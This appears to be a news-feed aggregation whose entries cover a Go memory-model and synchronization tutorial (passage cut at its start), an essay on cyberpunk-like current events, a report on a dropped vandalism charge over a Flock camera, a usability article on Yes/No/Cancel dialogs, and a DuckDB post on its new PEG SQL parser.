	c.mu.Lock()
	defer c.mu.Unlock()
	return c.n
}

But a mutex also makes writes from one lock holder visible to the next lock holder. This Counter uses both guarantees.

WRITER READER write n source order Unlock mutex rule Lock returns source order read n
Unlock connects a protected write to a later read after Lock

Go guarantees that a call to Unlock synchronizes before a later call to Lock returns. In other words, after Add writes n and unlocks mu , a Value call that locks mu later is guaranteed to see that write.

WaitGroup waits for task completion

The original snippet only needs main to wait for one task. sync.WaitGroup provides that relationship without a busy loop:

go

func main() {
	var msg string
	var tasks sync.WaitGroup

	tasks.Go(func() {
		msg = "hello"
	})

	tasks.Wait()
	fmt.Println(msg)
}

tasks.Go starts the function and tracks the task. tasks.Wait() does not return until the function has completed. Go also guarantees that writes made by the function before it returns are visible after Wait() returns. fmt.Println therefore reads "hello" .

Unlike the earlier for !done loop, main blocks inside Wait() instead of repeatedly checking a value and using CPU while the task is still running.

Channel close can signal completion

The same program can use a channel when one goroutine needs to announce an event:

go

func main() {
	var msg string
	ready := make(chan struct{})

	go func() {
		msg = "hello"
		close(ready)
	}()

	<-ready
	fmt.Println(msg)
}

Of course, calling an arbitrary function such as abc() does not by itself create a guarantee between goroutines. The function would need to use a synchronization operation internally. close(ready) provides such an operation because Go connects it to a receive that completes after ready is closed.

WRITER MAIN msg = "hello" source order close(ready) channel rule receive ready source order read msg
A channel connects the write of msg to the later read

So Go guarantees that closing a channel synchronizes before a receive that returns because the channel is closed. The goroutine writes msg before close(ready) , and main reads msg after <-ready , so fmt.Println is guaranteed to read "hello" .

sync.Once makes initialization visible

Sometimes many goroutines need the same value, but the code that initializes that value must run only once. sync.Once provides that guarantee:

go

var once sync.Once
var message string

func getMessage() string {
	once.Do(func() {
		message = "hello"
	})
	return message
}

Only one call to Do runs the function. Other calls wait for that function to return. Go guarantees that the function’s return synchronizes before every Do call returns, so every caller can safely read message after once.Do returns.

Atomic operations follow one global order

The earlier x and y experiment can use atomic integers:

go

var x, y atomic.Int32
var r1, r2 int32
var tasks sync.WaitGroup

tasks.Go(func() {
	x.Store(1)
	r1 = y.Load()
})

tasks.Go(func() {
	y.Store(1)
	r2 = x.Load()
})

tasks.Wait()

The atomic version produces no rounds in which both reads return 0 :

with sync/atomic, both read 0: 0 out of 200000 rounds

Go requires all atomic operations to behave as if they ran in one global order. In our example, x.Store , y.Load , y.Store , and x.Load must all belong to that same order. Both goroutines use this order when deciding which value each Load returns. Another execution may use a different order, but the two goroutines still cannot use separate orders.

In other words, only two cases are possible when we compare the two stores:

x.Store BEFORE y.Store y.Store BEFORE x.Store 1 x.Store(1) global order 2 y.Store(1) B source order 3 x.Load() = 1 r2 MUST BE 1 1 y.Store(1) global order 2 x.Store(1) A source order 3 y.Load() = 1 r1 MUST BE 1
The first atomic store forces one of the later loads to read 1

At least one load must therefore return 1 . The result r1 == 0 and r2 == 0 is no longer possible here.

Atomic operations are useful when one shared value can be updated independently, such as a counter or a ready flag. They cannot combine several updates into one operation. For example, if balance and version must always change together, another goroutine could read between two atomic stores and see the new balance with the old version . A mutex can protect both fields while they are updated and read.

Note

The WaitGroup has a separate job in this snippet. main reads r1 and r2 only after both task functions return.

4. Testing the synchronization

The question in every example above is not whether the program returned the expected value. The question is whether Go guarantees that the reader sees the writer’s work.

The race detector can report executions that lack this guarantee:

The detector tracks memory accesses made by the running application. It reports a race when concurrent goroutines access the same location, at least one access is a write, and no valid synchronization connects those accesses.

But this is a dynamic check. An unsafe function that never runs during a test cannot produce a report. Even a function that does run may require a particular execution path or schedule before both conflicting accesses occur. A clean result should therefore be read as “no race was reported in these executions,” not “the program contains no races.”

The source still needs a clear explanation of why each shared read is safe. In the examples above, that explanation comes from atomics, mutexes, task completion, channels, or one-time initialization.

Source references

We are living in a version of the future out of J.G. Ballard or William Gibson

Hacker News
precastreinforced.co.uk
2026-08-21 09:07:26
Comments...
Original Article

Don’t let the absence of a flying car in your garage distract you: we are definitely now living in a version of the future out of J.G. Ballard or William Gibson.

Every day I notice a news story that startles or alarms me, that feels like pure cyberpunk, nestled between reports about council bin collections and cabinet reshuffles.

“The first ever IV Drip clinic to appear in the centre of a shopping mall, our Westfield clinic is a must-stop shop when doing a bit of retail therapy. From Vitamin Drips to Instant Vitamin D Testing, Get A Drip Westfield has it all. Book your appointment today!”

Publicity for Get A Drip Limited

This made me think of Michael Moorcock’s habit of opening stories or chapters with startling newspaper clippings that revealed the future apocalypse already underway in the present, or Ballard’s typographic collages . So I began snipping.

“A video has been shared on social media with claims it shows a robotic dog patrolling the grounds of a ‘migrant hotel’. But this is false – while the footage does appear to show a robotic dog, it was filmed in the grounds of a building housing a religious group in Crewe.”

Full Fact, 4 November 2025

It’s not quite Blade Runner but it might be Robot Jox or Bubblegum Crisis .

“Soul ‘musician’ Sienna Rose has made headlines this week as suspicions mount that her music is a product of artificial intelligence… On Spotify, her sound is described as a blend of the ‘elegance of classic soul with vulnerability of modern R&B’, while she is simply referred to as ‘an anonymous neo-soul singer’. Many fans have taken note of the reference to her anonymity, which makes her 2.6million monthly listeners all the more staggering.”

NME , 17 January 2026

In the middle of a video about stationery and everyday tech on YouTube the other day there was a passing shot of two robots kickboxing in a cage ; another robot was taking coffee orders at a kiosk. This was (blandly) “cool to see”.

“British police have helped seize a record nine-tonne haul of cocaine from a ‘narco sub’ in the Atlantic Ocean… The mammoth seizure weighed nearly as much as a school bus and the sub was 230 nautical miles from the Azores when it was intercepted… The semi-submersible eventually sank before authorities could take all its cargo, sending 35 of the 300 packages to the bottom of the Atlantic.”

Sky News, 27 January 2026

E-scooters scattered on a pavement.

What the visionaries got wrong, it turns out, was what would go digital. Did anybody bet on cigarettes? Or scooters? Or that neon would be replaced by LEDs?

“A humanoid robot named Edward Warchocki chased away a herd of wild boars in Warsaw, shouting ‘Go away!’ in Polish as the animals fled into the forest, in video footage released on Sunday…”

Reuters, 14 April 2026

My personal moment of future shock came when a delivery robot trundled past me on Gloucester Road in Bristol, weaving between Saturday afternoon drunks and stoners, some of whom chased it and blocked its way.

“Four child-sized humanoid robots take the stage at an arena in eastern Seoul, and as the opening beats of a song by K-pop star G-Dragon begin, they start to dance… Arms swinging, legs stepping in sync, heads bobbing, wigs and baggy clothes swishing, until – mid-performance – one of them seemingly malfunctions and has to be removed from the stage… Welcome to Galaxy Robot Park, a new 16,500 square metre facility in Gangdong district that its creators claim is the world’s first robot theme park.”

The Guardian , 25 May 2026

Chinatown in Bristol with glowing signs and wet pavements.

More often, the shock is that there is no shock. My mum uses the voice-activated computer in her house to remind herself to take the sprouts off the boil.

“[Shania] Collins had enjoyed modest success as a sprinter, with contracts from Puma and Adidas. But by 2024, with her career stalled and earnings shrunk, she retired at 29 to begin a long screening process to follow her parents into working for the [Drug Enforcement Agency]… Then organizers of the Enhanced Games, a controversial sports startup, got in touch last fall with an offer. The organizers were planning a one-day competition of sprinting, swimming and weightlifting in Las Vegas that would not only allow but encourage doping. And it paid the kind of money that might take some athletes years to make — six-figure salaries, on top of prize money of up to $250,000 for event winners and $1 million for a world record.”

NBC News, 26 May 2026

All of this technological advancement, apparently utterly mundane and running in the backgrounds of our lives, is accompanied by a sense of apocalyptic weirdness both in the climate and the culture.

“Meta has quietly embedded face-recognition technology for its smart glasses into an app downloaded to millions of phones… Code discreetly added to Meta’s AI app over multiple updates this year shows that the feature, internally called ‘NameTag’, identifies people captured by the glasses’ camera and, when activated, alerts the wearer when it recognizes someone.”

Wired , 4 June 2026

An advert on the London Underground for ABBA Voyage with the faces of the digital simulations of the members of the band and a quote from Time Out: "A spectacular vision of pop's future."

Blade Runner had its acid rain. We have wildfires taking out suburban housing estates in the English Midlands and heat buckling railway tracks.

“Two arrests have been made during a police operation using drone technology to target anti-social driving… Dorset Police said its operation on 29 May was in direct response to concerns raised by people living in Sandbanks, Poole… A police drone was deployed over the area to give a higher vantage point to spot any offences of poor driving, allowing officers to then intercept motorists on the ground, said Dorset Police.”

BBC, 6 June 2026

My brother, a data scientist, told me yesterday that it is now possible to prompt a large language model (LLM) to produce a three-dimensional digital model which you can then realise with a 3D printer. It’s not quite “Tea, Earl Grey, hot,” but it’s alarmingly close.

“While spending money on video games is not uncommon, EVE Online stands out because players’ assets can be permanently destroyed; their real-world cash outlay gone in seconds… The game’s financial system is so complex that in 2025, a former economist from the Central Bank of Iceland was hired to oversee it… Playing EVE Online can take hundreds of hours. Some see it as a second job, dedicating up to 35 hours per week to their virtual duties on top of their real-world nine-to-fives.”

BBC, 6 June 2026

At work, people send AI bots to attend meetings for them and it’s no more than an annoyance – a question of etiquette. If you’d told me this was possible when I was reading Neuromancer as a teenager in a concrete council house I’d have been awestruck.

“Stranger Than Heaven is an action-adventure game that spans fifty years… On Friday evening… Snoop Dogg took to the stage of Summer Game Fest to confirm Tupac’s involvement in Stranger Than Heaven as Amaru, which was the late rapper’s middle name. ‘The Tupac estate and my son and myself, we work very closely together,’ Snoop explained. ‘So it just made sense to put him in this game, because his likeness and his spirit still lives on. I just felt like it was so connected to what we’re doing.’

NME , 8 June 2026

A red LED sign with the word LEAVES. Above it are some actual leaves that its glow has turned red.

Another moment of future shock was when a former colleague posted on LinkedIn about his first ride in a self-driving taxi in San Francisco. It was a novelty, sure, but mostly just a fun story he could use to liven up his feed. Most people didn’t comment, they just gave it a weak “thumbs up”.

“During mealtimes, Vincent Zhang, a tech worker in Shanghai, has a habit of whipping out his phone to check on his ‘virtual parents’: a middle-aged couple online, armed with an endless stream of warm words for their imaginary child… In one of their most popular videos, the pair coos to the camera. ‘Are you tired from work and study lately? Don’t push yourself too hard. Mum and Dad know that you have endured a lot.’ … In the comments, many call the couple mum and dad, telling them about their lives and asking for birthday blessings.”

BBC, 13 June 2026

There are AI-generated posters in my local pub. My local supermarkets have signs warning shoppers that they’re using facial-recognition technology. It doesn’t feel like science fiction because everything surrounding it is so ordinary: facial recognition scanners; two for one on Doritos; images conjured from a prompt; pool, 50p a game, and roast potatoes on the bar on Sunday afternoon.

“AI-generated photos and videos featuring Russian soldiers have gained popularity on social media since mid-2025. They are most often posted by relatives of Russian servicemen fighting in Ukraine… The quality varies. In some videos, the AI generates figures without limbs or produces grotesquely distorted faces.”

BBC, 14 June 2026

How do you write science fiction in this context? Anything you come up with will seem farfetched, until it actually happens three weeks later and nobody bats an eyelid.

“US President Donald Trump celebrated his 80th and America’s 250th birthday with an Ultimate Fighting Championship (UFC) event on the White House lawn… Trump and thousands of other mixed martial arts fans watched on as American fighter Justin Gaethje beat Spanish-Georgian opponent Ilia Topuria to win the lightweight championship in the main event.”

BBC, 14 June 2026

When Moorcock and Ballard repurposed contemporary newspaper clippings they were saying, stop, look – can you believe this shit? But does stopping and looking actually help?

“The alt-pop US musician and internet personality Oliver Tree was among six people who died when the helicopter he was travelling in collided with another in Brazil… The 32-year-old had been on a world tour when the crash occurred over Rio de Janeiro on Sunday. One of the helicopters then fell onto the car park of a dealership, setting around 20 vehicles ablaze… With his distinctive bowl haircut, he was known for hits including Life Goes On, Miss You and Alien Boy.”

BBC, 15 June 2026

The human ability to resist stopping, to look away, to adjust to a new reality, absorb changes, and move on, is extremely useful.

“Banks say that criminals are engaging in more sophisticated fraud at greater volume with the use of artificial intelligence (AI)… Criminals have used AI to mimic the voices of celebrities, and even those of the victims’ family and friends, which has enabled them to carry out the crime at a greater scale.”

BBC, 15 June 2026

I’ve often wondered how long it would take me to adapt if I suddenly found myself fifty or a hundred years in the future. I suspect the answer is about 48 hours.

“The Trump administration on Tuesday announced a ban on new foreign-made humanoid robot imports to the US over ‘unacceptable risks’ to America’s national security… The move applies to advanced robots – including humanoid and four-legged machines. Many of them are made in China, which is competing with the US to develop robotics and artificial intelligence (AI).”

BBC, 29 July 2026

Because everyone around you would be totally unfussed by whatever unimaginable technological advances were occurring around them: “That? Huh. I suppose it is a bit odd, now you mention it. Do you want another HobNob?”

Grand jury declines to indict Ohio man charged with destroying Flock camera

Hacker News
san.com
2026-08-21 09:04:31
Comments...
Original Article

A grand jury in Ohio has declined to indict a man charged with felony vandalism for allegedly destroying a Flock automatic license plate reader camera.

Police in Union Township, a Cincinnati suburb, accused Cody Morelock of disassembling the camera, its support pole and solar panel on June 13.

Investigators, according to WKRC-TV in Cincinnati, identified Morelock after obtaining surveillance footage from other cameras near the scene as well as information linked to a credit card and a customer rewards account.

QR code for SAN app download

Download the Straight Arrow app today to get the stories that matter free from manipulation, bias or agenda.™

Point phone camera here

Police estimated the damage at more than $1,000. Morelock posted a $10,000 bond and was released from custody shortly after his arrest.

A Clermont County grand jury, however, opted not to indict Morelock, and the charges were dismissed.

Flock resistance growing

While details on the grand jury’s decision are limited, it comes amid a growing backlash against Flock and its cameras.

The company’s cameras record the license plate numbers and characteristics of vehicles that pass by. The data is then hosted in a central database that can be accessed not only by local police but often by law enforcement agencies in other cities and states.

The incident in Union Township is part of an ongoing trend that has seen dozens of Flock cameras vandalized across the country. Earlier this month, police in Winona, Minnesota, reported that someone had cut down and stolen each of the city’s eight license plate reader cameras.

Social media users are promoting a loosely organized event known as “ De-Flock America Night ,” encouraging people to vandalize or obscure Flock cameras on Halloween.

The backlash against Flock has intensified as a growing number of police officers have been accused of or charged with abusing the technology, often to stalk romantic interests. As of Aug. 12, there had been more than 100 cases of abuse by law enforcement, according to the Institute for Justice.

In response, Flock announced new safeguards designed to prevent misuse by police. Critics, such as the Electronic Frontier Foundation , argue that the reforms are largely “cosmetic,” and that warrants should be required for searching license plate reader data.

Round out your reading

Mikael Thalen

Mikael Thalen is a tech reporter for Straight Arrow, where he covers cybersecurity, surveillance, hacking and digital privacy.

Yes/No/Cancel causes Aspirin sales to soar

Hacker News
martin.kleppmann.com
2026-08-21 08:58:46
Comments...
Original Article

Published by Martin Kleppmann on 19 Jul 2007.

Welcome to Yes/No/Cancel, the online usability magazine. This first article describes the origin of the name, and explains why it is bad to use buttons labelled Yes , No and Cancel in computer programs. I also discuss why user-friendliness in general is a very important topic.

This online magazine (or blog if you will) is about user-friendliness, and lack thereof. It criticises bad design and promotes good design. One might think that after usability research has been conducted for many years and many books have been written on the topic, finally people would have learnt to get it right. But no – my impression is that many products are as bad as ever, and the reason why I am writing this is to raise awareness of these problems.

But why should you care? As a user, you should care because you have a choice – you can stop using/buying the product that is not friendly to use. You can switch to a better one, saving you frustration and annoyance. As a manufacturer, you should care for much the same reason – you are in a competitive environment, and if you don’t carefully consider the needs of your customers, you will see them leaving very soon!

Maybe you ask how this website got its name. Yes/No/Cancel, that sounds like computers. Yes, and a lot of the content here (but definitely not all) is going to be about computer software. Today, many pieces of software are amongst the most complex pieces of engineering which the human mind has devised. It is therefore not too surprising that some software packages are extremely difficult to use. But software is also used by many people every day who don’t want to know about this complexity. Is difficulty of use really necessary? There are some examples of extremely complex systems which are absolutely straightforward to interact with ( Google search for example – it’s the work of a big team of the world’s best software engineers over several years, and still it’s just a simple search box).

Making complicated systems easy to use is actually quite a difficult problem. Part of the problem is that the engineers designing the system are often used to a certain way of doing things, but this way is not always best adapted to a particular situation or audience. The designers and developers of a system must therefore constantly be questioning their habits, so that they can find better ways of solving problems if better ways exist.

One particular bad habit of programmers annoys me so much that I decided to name this website after it. Johannes suggested the name: Yes/No/Cancel . The choice you are so often presented with in many computer applications, and so often you have to stop and think, because it’s not immediately clear what each of the choices is actually going to do. Which one of the buttons will cause all your work to be lost if you press it? Which one will save it? And what does Cancel mean anyway? Aaargh, it causes headaches.

Let me explain this with a few examples. A situation in which you frequently encounter a Yes/No/Cancel dialog box is when you are trying to close a document without having saved it. Like this:

Do you want to save the changes?
Yes/No/Cancel

Nice of it to ask, you say – you had completely forgotten to save. Ok. Now compare it to this one:

Do you really want to quit without
saving? Yes/No/Cancel

Can you believe it? It’s asking the opposite question! Now even if you usually know by habit which button to press, suddenly you have to stop and think. And this box is even worse, because it’s not clear what the difference is between No and Cancel.

Fundamentally the problem here is that we are actually asking two questions at the same time:

  1. Do you want to save the document?
  2. Do you want to quit the application?

The answer to each question might be yes or no, which gives us four different possible actions:

  1. save changes and quit (the “Yes” button in the first example)
  2. discard changes and quit (the “No” button in the first example)
  3. do nothing – do not save and do not quit (the “Cancel” button in the first example)
  4. save changes but do not quit

The fourth option is generally perceived to be silly, so there is no button for that purpose and we get a choice of three. In the first example picture, these three correspond to Yes, No and Cancel respectively. What about the second example? Clicking Yes will “discard changes and quit”. Maybe clicking No will save changes and quit, or maybe it will do nothing. Who knows what cancel will do, let alone the mystery of the red X in the corner.

Already with simple examples like this, you can begin to see that it’s a bad idea to label buttons as Yes, No and Cancel. The meaning of these words depends very much on the question. In fact, if you have no previous computing experience, you will probably have no idea what to answer. As a user, you just want to know which button is going to cause your work of the last 2 hours to be lost – and neither of these examples makes it immediately clear which the “dangerous” button is.

Apple have tried to avoid this problem by not labelling the buttons Yes/No/Cancel, but more descriptively:

Do you want to save changes to
this document before closing? Don’t Save/Cancel/Save

Using a verb (in this case “save”) is recommended in Apple’s Human Interface Guidelines . Also note that the “dangerous” button (which discards changes and quits) is set apart from the two “safe” buttons. This is clearly much better already, but the program is still trying to answer two questions at the same time, which you may consider to be an unnecessary complication.</p>

I won’t dwell on any Microsoft vs. Apple discussion though, because what I am saying applies not just to these two companies, but also to every other organisation or person who writes software. And there are some terrible occurrences of Yes/No/Cancel in the world for which neither Microsoft nor Apple carries any blame.

One terrible thing which you see sometimes is an implicit relabelling of the buttons. Here the programmer clearly couldn’t be bothered to make his own buttons, and instead placed the burden on the user:

The connection failed. Click Yes to try
again, No to ignore the error, or Cancel to quit the application.

You really need to switch on your brain to decide which button to press. And by phrasing the question badly, it can get even worse:

It is not recommended that you continue
without overwriting this file…

At this point, I very much hope that you will have run out of the room screaming. And maybe returned to read the rest of this article. (With a headache.)

You might think that the last example was very contrived, but the point I wanted to make was about negative questions. Why ask whether not to do something (the negative) if you can simply ask whether to do something (the positive)? I find this occurring particularly frequently with respect to checkboxes:

Disable nuclear missiles?

It is counterintuitive to put a tick in a box for something you don’t want. Just don’t ask negative questions. But that’s a story for another day.

A few final remarks:

If you found this post useful, please support me on Patreon so that I can write more like it!

To get notified when I write something new, follow me on Bluesky or Mastodon , or enter your email address:

I won't give your address to anyone else, won't send you any spam, and you can unsubscribe at any time.

Bluesky Is Full of Anti-AI Zealots

Daring Fireball
bsky.app
2026-08-21 08:52:47
Mike Masnick, in a thread on Bluesky: Multiple people I know have told me that they love the idea of Bluesky, and want it to succeed, but have abandoned it for X because the use agentic tools in their work and find them incredibly useful, and feel that any mention of their usage here leads to ha...

DuckDB V2 PEG-based SQL parser

Hacker News
duckdb.org
2026-08-21 08:52:25
Comments...
Original Article

TL;DR: DuckDB v2.0 replaces its PostgreSQL-derived SQL parser with a PEG-based parser that is easier to evolve and can be extended at runtime.

At DuckDB, one of our goals is to make working with a database system as easy as possible. Users interact with the system through the widely understood Structured Query Language (SQL). Previous blog posts have covered DuckDB’s friendly SQL , including GROUP BY ALL and column selection using SELECT * EXCLUDE (...) . Before DuckDB can execute a query using these features, however, it first has to determine whether its syntax is valid. That is the job of the parser , and in DuckDB v2.0 we are completely replacing it without you noticing.

What is the Role of a Parser?

At a high level, DuckDB processes a SQL query through the following stages:

Parser workflow Parser workflow

In this blog, we focus on the tokenizer, parser, and transformer:

  • Tokenizer: This is the first step and is responsible for splitting up the raw input string into tokens . These can be of various categories, for example: KEYWORD , NUMBER , or IDENTIFIER . It is also where comments, in SQL denoted with either -- or /* */ , are recognized and skipped.
  • Parser: The parser determines whether these tokens follow DuckDB's grammar and produces a ParseResult tree.
  • Transformer: Converts the generic parse results into DuckDB’s internal abstract syntax tree (AST), forming structures such as SQLStatement , TableRef , and ParsedExpression . The resulting AST is passed on to the binder.

The parser determines whether a query is syntactically valid, while the binder determines whether the tables, columns, and functions it refers to actually exist.

Consider the following query:

SELECT *
WHERE true
FROM range(1);
Parser Error:
syntax error at or near "FROM"

LINE 3: FROM range(1);
        ^^^^

Every individual token in this query is valid, but the clauses occur in an order that DuckDB’s grammar does not accept. Friendly SQL allows both SELECT -first and FROM -first syntax, but it does not allow the clauses to appear in an arbitrary order.

By comparison, the following query is syntactically valid, so it passes the parser and transformer. However, it fails later in the binder because the table missing_table does not exist.

Catalog Error:
Table with name missing_table does not exist!

LINE 1: FROM missing_table;
             ^^^^^^^^^^^^^

The DuckDB SQL Dialect

Although a SQL standard exists, every database system supports different parts of the standard and adds its own syntax and behavior. The resulting variants are commonly referred to as SQL dialects. Examples include the dialects supported by PostgreSQL , Oracle , GoogleSQL for BigQuery , MySQL , MariaDB , SQLite , Spark SQL , and, of course, DuckDB .

DuckDB’s SQL closely follows PostgreSQL conventions, but it has evolved considerably over the years. We have added features of our own, such as GROUP BY ALL , as well as features inspired by other database systems. At the same time, DuckDB does not implement every aspect of PostgreSQL’s behavior. DuckDB therefore speaks its own SQL dialect, which we will refer to as DuckSQL in this post, even though it remains strongly influenced by PostgreSQL.

This distinction is important when talking about the parser. The SQL dialect that DuckDB accepts and the implementation used to parse that SQL are two separate things. For DuckDB v2.0, we are replacing the parser implementation and rewriting its grammar. What we are not replacing is DuckSQL itself.

Outgrowing the PostgreSQL-Derived Parser

When DuckDB started out, it made a lot of sense to use the PostgreSQL-derived parser and grammar. This parser was already part of the first commit to DuckDB in 2018. It gave DuckDB a mature, battle-tested SQL grammar based on syntax that many users were already familiar with. We adapted the parser to our needs and added a Transformer that converted the resulting PostgreSQL-style parse tree into DuckDB’s internal AST.

However, over the years this parser also came with some downsides. Extending DuckSQL meant modifying the underlying YACC/Bison grammar. Because Bison generates an LALR(1) parser, seemingly small additions to the grammar can interact with existing rules and introduce shift/reduce or reduce/reduce conflicts. As DuckSQL grew, making changes to the grammar therefore became increasingly difficult.

This was one of the motivations behind our earlier blog post on runtime-extensible SQL parsers. In that post and the accompanying CIDR paper , we explored whether Parsing Expression Grammars (PEGs) could provide a better foundation for an extensible database parser. At the time, the PEG parser was still an experimental prototype capable of parsing only a subset of SQL.

A Primer on PEG Parsers

Before looking at how we turned the prototype into a production parser, let us briefly revisit how a PEG describes a language.

A PEG consists of named rules that describe how an input should be matched. Consider the following rules from DuckDB’s new grammar:

SelectFrom <- SelectFromClause / FromSelectClause
SelectFromClause <- SelectClause FromClause?
FromSelectClause <- FromClause SelectClause?

The <- operator defines a rule, / specifies a choice between alternatives, and ? makes an element optional. Together, these rules state that DuckSQL accepts both a traditional SELECT -first query:

And DuckDB’s Friendly SQL FROM -first equivalent:

A PEG evaluates alternatives in order. When matching SelectFrom , the parser first attempts SelectFromClause . If that does not match, it attempts FromSelectClause . The first successful alternative is selected. As a result, PEG grammars do not have the same shift/reduce and reduce/reduce conflicts as LALR grammars. Instead, alternatives are ordered explicitly, and that order forms part of the grammar’s behavior.

We are not the only ones changing to a PEG-based parser. Python switched from its LL(1) parser to a PEG-based parser in Python 3.9, also motivated by the additional flexibility PEG provides to evolve the language.

In DuckDB, these rules operate on the tokens produced by the tokenizer. The matcher applies the grammar rules to those tokens and constructs a generic ParseResult tree, which is subsequently transformed into DuckDB’s internal AST.

Going from Prototype to Production

The research prototype demonstrated that a PEG-based SQL parser was feasible. Replacing DuckDB’s existing parser, however, required considerably more than parsing a subset of SQL. The new parser had to accept all of DuckSQL and produce the same AST expected by DuckDB’s binder.

The PEG grammar was first introduced in DuckDB v1.2 , where it handled autocomplete in the CLI. Later, in DuckDB v1.5 , we introduced the complete PEG parser as an experimental, opt-in feature. We also used it for an April Fools' joke that made DuckDB speak Dutch . Since then, the grammar, matcher, and transformer have been steadily improved to make the PEG parser the default for DuckDB v2.0.

Among other things, the parser had to support:

  • Every statement and expression type: Supporting the complete DuckSQL dialect includes both common syntax as well as the less frequently used statements and expressions.
  • Operator precedence and associativity: For example, SELECT true OR true AND false; must be interpreted as (true OR (true AND false)) , because AND binds more tightly than OR .
  • Correct keyword classification: Some keywords, such as SELECT , are RESERVED and cannot be used as unquoted table or column names. Other keywords may be used as identifiers depending on their context.
  • Compatibility with DuckDB’s internal AST: The PEG transformer must produce the same DuckDB AST structures as the transformer for the PostgreSQL-derived parse nodes wherever the language behavior is intended to remain unchanged.
  • Correct error reporting: For an invalid query, the parser should report where parsing failed and, where possible, provide context and a useful indication of what went wrong. Ideally, it should do so without pointing to a manual .
  • Performance on unusual inputs: Besides keeping normal parsing fast, we also had to make sure that malformed queries do not suddenly take a long time to parse.

Avoiding Repeated Work with Packrat Parsing

One issue we encountered was repeated work during backtracking. A naïve PEG matcher can evaluate the same grammar rule at the same token position many times while trying different alternatives. For certain malformed inputs, the amount of repeated work can grow exponentially.

We encountered this with queries containing a large number of unmatched opening parentheses:

SELECT ((((((((((((((((((;

With the experimental PEG parser shipped in v1.5 , adding one more opening parenthesis approximately doubled the parsing time:

18 opening parentheses:  5.303 seconds
19 opening parentheses: 10.640 seconds

We addressed this using packrat parsing , a memoization technique commonly used with PEG parsers. For each memoized matcher, we store the result of applying it at a particular token position. If the parser later attempts the same matcher at the same position, it reuses the cached result instead of evaluating it again.

With packrat parsing enabled, the same malformed query was rejected almost instantly:

19 opening parentheses: 0.001 seconds

As a result, a memoized matcher is evaluated at most once at a particular token position, removing the repeated work that caused the exponential behavior in this example. This requires additional memory while parsing, but that is a worthwhile trade-off for avoiding cases such as this.

Turning the prototype into a production parser involved much more than translating the grammar. The new parser had to cover the complete DuckSQL dialect, preserve DuckDB’s existing AST, remain compatible with existing queries, and handle both valid and malformed input efficiently.

The resulting architecture replaces the PostgreSQL-derived parser front end, while the binder and the remainder of DuckDB’s query-processing pipeline continue to operate on the same internal AST.

Parser architecture Parser architecture DuckDB Parser architecture. Key idea: replace the PostgreSQL-derived parse front end while keeping the rest of DuckDB's execution pipeline the same.

Evolving DuckSQL

With the PEG parser now in place for DuckDB v2.0, we have also continued to extend DuckSQL with new syntax.

One example is the new expression-statement syntax. Until now, executing a query consisting only of expressions always required writing a SELECT :

SELECT date: current_date(), time: current_localtime();

With an expression statement, the SELECT can be omitted:

date: current_date(), time: current_localtime();

As a bonus, this also works with prefix aliases.

Another example is the new CONNECT statement, introduced for Quack . It allows you to connect to a remote database and route subsequent queries to it until you run DISCONNECT :

CONNECT 'postgres://localhost/mydb';
SELECT count(*) FROM orders; -- Runs on the PostgreSQL server
DISCONNECT;

There will also be new syntax for working with external resources . This will allow you to manage resources that live outside DuckDB through an extension. You will be able to create, register, inspect, connect to, or destroy a resource all from within DuckDB:

CREATE EXTERNAL RESOURCE '<resource-type>' AS <name> (...);
REGISTER EXTERNAL RESOURCE '<resource-type>' AS <name> FROM <handle>;

SHOW EXTERNAL RESOURCES;

CONNECT TO EXTERNAL RESOURCE <name>;

DESTROY EXTERNAL RESOURCE <name>;

We have also extended COPY TO with PARTITION BY and ORDER BY syntax:

COPY orders TO 'orders'
(
    FORMAT parquet,
    PARTITION BY (year, month),
    ORDER BY (order_date)
);

These additions would also have been possible with the old PostgreSQL-derived parser, but adding them would have been considerably more cumbersome. The PEG grammar makes it easier for us to continue evolving DuckSQL.

So far, these rules are all part of DuckSQL itself. The next step is allowing extensions to add rules of their own.

Extending the Parser

Extensions are a central part of DuckDB. They can already add scalar and table functions, optimizer rules, query-plan rewrites, and even custom physical operators.

Extensions that add new syntax already exist, such as psql and duckpgq , but under the hood they work as fallback parsers. DuckDB first tries to parse the query itself and only calls the extension if that fails. This works well for self-contained syntax, but an extension that wants to add syntax inside SQL also has to parse the surrounding SQL itself. These fallback parsers also make it impossible to combine the syntax of multiple extensions.

With the PEG parser, extensions can instead extend individual parts of DuckDB’s parser. They can extend the tokenizer, add grammar rules, and register custom matchers while continuing to reuse the rest of DuckSQL.

Warning The API shown below is still a preview and may change before DuckDB v2.0 . You can follow the ongoing development on GitHub .

To make this concrete, we use Google’s pipe query syntax . This is an extension to SQL that adds piped data flow syntax. Pipe syntax expresses a query as a sequence of operators, where each operator consumes the result of the previous one.

FROM produce
  |> WHERE
        item != 'bananas'
        AND category IN ('fruit', 'nut')
  |> AGGREGATE COUNT(*) AS num_items, SUM(sales) AS total_sales
     GROUP BY item
  |> ORDER BY item DESC;

A simplified PEG grammar for this needs a handful of rules:

PipeSelectAtom <- PipeSource PipeStage+
PipeSource <- FromClause / SelectStatementType / SelectParens
PipeStage <- '|>' PipeOperator
PipeOperator <- PipeAggregate / PipeAggregateGroupOnly / PipeWhere / PipeSelect / PipeExtend / PipeDistinct / PipeOrderBy / PipeLimit
PipeWhere <- WhereClause
PipeSelect <- 'SELECT' TargetList
PipeExtend <- 'EXTEND' TargetList
PipeDistinct <- 'DISTINCT'
PipeOrderBy <- OrderByClause
PipeLimit <- LimitClause OffsetClause?
PipeAggregate <- 'AGGREGATE' TargetList GroupByClause?
PipeAggregateGroupOnly <- 'AGGREGATE' GroupByClause

Here, + means that PipeStage must occur one or more times, so a pipe query must contain at least one pipe operator.

This grammar can reuse existing rules, such as GroupByClause , to reduce the amount of grammar the extension needs to define. An extension can still define its own rule where DuckDB’s existing syntax does not fit.

Registering the Grammar

Defining just the PEG rules does not yet make them part of DuckDB’s grammar. The extension must also specify (1) the existing grammar rule it wants to extend and (2) the transformer rules that convert the new syntax into DuckDB’s AST.

In the current prototype, certain grammar rules expose extension points. Pipe SQL registers PipeSelectAtom as an additional alternative for SelectAtom , together with the new keywords AGGREGATE and EXTEND .

static void LoadInternal(ExtensionLoader &loader) {
    ParserExtension extension;
    extension.grammar_extension.grammar = PIPE_SQL_GRAMMAR;
    extension.grammar_extension.select_atom_rule = "PipeSelectAtom";

    extension.grammar_extension.RegisterSelectAtomTransformer(
        "PipeSelectAtom",
        TransformPipeSelectAtom
    );

    loader.RegisterKeyword(
        "aggregate",
        ExtensionKeywordCategory::RESERVED
    );
    loader.RegisterKeyword(
        "extend",
        ExtensionKeywordCategory::RESERVED
    );

    loader.RegisterParserExtension(std::move(extension));
}

